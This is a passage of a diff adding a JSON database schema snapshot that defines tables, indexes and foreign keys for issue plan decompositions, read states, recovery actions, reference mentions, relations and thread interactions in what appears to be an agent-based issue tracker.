+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_active_owner_idx": {
+          "name": "issue_plan_decompositions_active_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issue_plan_decompositions\".\"status\" = 'in_flight'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_source_revision_uq": {
+          "name": "issue_plan_decompositions_source_revision_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "accepted_plan_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_plan_decompositions_company_id_companies_id_fk": {
+          "name": "issue_plan_decompositions_company_id_companies_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_source_issue_id_issues_id_fk": {
+          "name": "issue_plan_decompositions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "accepted_plan_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "accepted_interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_agent_id_agents_id_fk": {
+          "name": "issue_plan_decompositions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_read_states": {
+      "name": "issue_read_states",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_read_at": {
+          "name": "last_read_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_read_states_company_issue_idx": {
+          "name": "issue_read_states_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_user_idx": {
+          "name": "issue_read_states_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_issue_user_idx": {
+          "name": "issue_read_states_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_read_states_company_id_companies_id_fk": {
+          "name": "issue_read_states_company_id_companies_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_read_states_issue_id_issues_id_fk": {
+          "name": "issue_read_states_issue_id_issues_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_recovery_actions": {
+      "name": "issue_recovery_actions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "recovery_issue_id": {
+          "name": "recovery_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "owner_type": {
+          "name": "owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'agent'"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "previous_owner_agent_id": {
+          "name": "previous_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_owner_agent_id": {
+          "name": "return_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cause": {
+          "name": "cause",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evidence": {
+          "name": "evidence",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "wake_policy": {
+          "name": "wake_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_policy": {
+          "name": "monitor_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "max_attempts": {
+          "name": "max_attempts",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timeout_at": {
+          "name": "timeout_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_note": {
+          "name": "resolution_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_recovery_actions_company_source_status_idx": {
+          "name": "issue_recovery_actions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_owner_status_idx": {
+          "name": "issue_recovery_actions_company_owner_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_recovery_issue_idx": {
+          "name": "issue_recovery_actions_company_recovery_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "recovery_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_source_uq": {
+          "name": "issue_recovery_actions_active_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_fingerprint_uq": {
+          "name": "issue_recovery_actions_active_fingerprint_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cause",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_recovery_actions_company_id_companies_id_fk": {
+          "name": "issue_recovery_actions_company_id_companies_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_source_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_recovery_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_recovery_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "recovery_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_previous_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_previous_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "previous_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_return_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_return_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "return_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_reference_mentions": {
+      "name": "issue_reference_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text": {
+          "name": "matched_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_reference_mentions_company_source_issue_idx": {
+          "name": "issue_reference_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_target_issue_idx": {
+          "name": "issue_reference_mentions_company_target_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_issue_pair_idx": {
+          "name": "issue_reference_mentions_company_issue_pair_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_null_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_reference_mentions_company_id_companies_id_fk": {
+          "name": "issue_reference_mentions_company_id_companies_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_source_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_target_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_target_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_relations": {
+      "name": "issue_relations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "related_issue_id": {
+          "name": "related_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_relations_company_issue_idx": {
+          "name": "issue_relations_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_related_issue_idx": {
+          "name": "issue_relations_company_related_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_type_idx": {
+          "name": "issue_relations_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_edge_uq": {
+          "name": "issue_relations_company_edge_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_relations_company_id_companies_id_fk": {
+          "name": "issue_relations_company_id_companies_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_relations_issue_id_issues_id_fk": {
+          "name": "issue_relations_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_related_issue_id_issues_id_fk": {
+          "name": "issue_relations_related_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "related_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_created_by_agent_id_agents_id_fk": {
+          "name": "issue_relations_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_thread_interactions": {
+      "name": "issue_thread_interactions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'wake_assignee'"
+        },
+        "requested_resolver_policy": {
+          "name": "requested_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "effective_resolver_policy": {
+          "name": "effective_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "resolver_policy_provenance": {
+          "name": "resolver_policy_provenance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'inherited'"
+        },
+        "effective_resolver_policy_source": {
+          "name": "effective_resolver_policy_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'requested'"
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_comment_id": {
+          "name": "source_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_run_id": {
+          "name": "source_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "addressee_agent_id": {
+          "name": "addressee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_run_id": {
+          "name": "resolved_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_thread_interactions_issue_idx": {
+          "name": "issue_thread_interactions_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_created_at_idx": {
+          "name": "issue_thread_interactions_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_status_idx": {
+          "name": "issue_thread_interactions_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
